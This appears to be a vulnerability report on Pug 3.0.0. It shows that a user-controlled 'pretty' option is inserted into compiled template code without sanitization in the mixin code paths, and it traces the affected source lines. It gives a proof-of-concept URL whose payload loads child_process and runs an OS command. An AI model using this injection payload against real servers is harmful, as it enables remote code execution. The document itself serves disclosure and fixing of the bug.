Description
Hello,
I found that pug may allow an attacker to inject arbitrary javascript code if an attacker can control options.pretty
.
Pug Version: 3.0.0
Proof of concept
Here is an vulnerable example including 2 files: app.js and index.pug.
In the example, there is only one variable "pretty" that is controlled by user, and the variable is not used in any dangerous functions.
app.js
const express = require('express')
const app = express()
app.set('view engine', 'pug')
app.get('/', function (req, res) {
res.render('index', { pretty: req.query.p })
})
app.listen(5000)
views/index.pug
html
head
body
mixin print(text)
p= text
+print('Hello, world')
But if we visit URL below, it would lead to execute OS command "whoami".
http://localhost:5000/?p=');process.mainModule.constructor._load('child_process').exec('whoami');_=('
Detail
This section will point the location of vulnerability and explain why I assume it's an issue.
First of all, when Compiler object is initialized, options.pretty
would be saved in this.pp
.
pug/packages/pug-code-gen/index.js
Lines 50 to 56 in 06baa52
The visitMixinBlock
function is simple, this.pp
is pushed into this.buf
array which stores the compiled code of template without any sanitization.
visitMixinBlock:
pug/packages/pug-code-gen/index.js
Lines 452 to 459 in 06baa52
The visitMixin
is basically same as visitMixinBlock
, this.pp
is pushed without any sanitization at line 507.
visitMixin:
pug/packages/pug-code-gen/index.js
Lines 487 to 508 in 06baa52
If we look at how other functions handle options variables, we can see that they are all sanitized by stringify.
( this.prettyIndent is implemented with this.buffer, and this.buffer always sanitizes variable with stringify. )
with this.prettyIndent
:
pug/packages/pug-code-gen/index.js
Line 427 in 06baa52
with this.buffer
:
pug/packages/pug-code-gen/index.js
Line 475 in 06baa52
with stringify
:
pug/packages/pug-code-gen/index.js
Line 148 in 06baa52
The visitMixin and visitMixinBlock are the only two functions I found that are missing sanitization.
I think it may be an issue.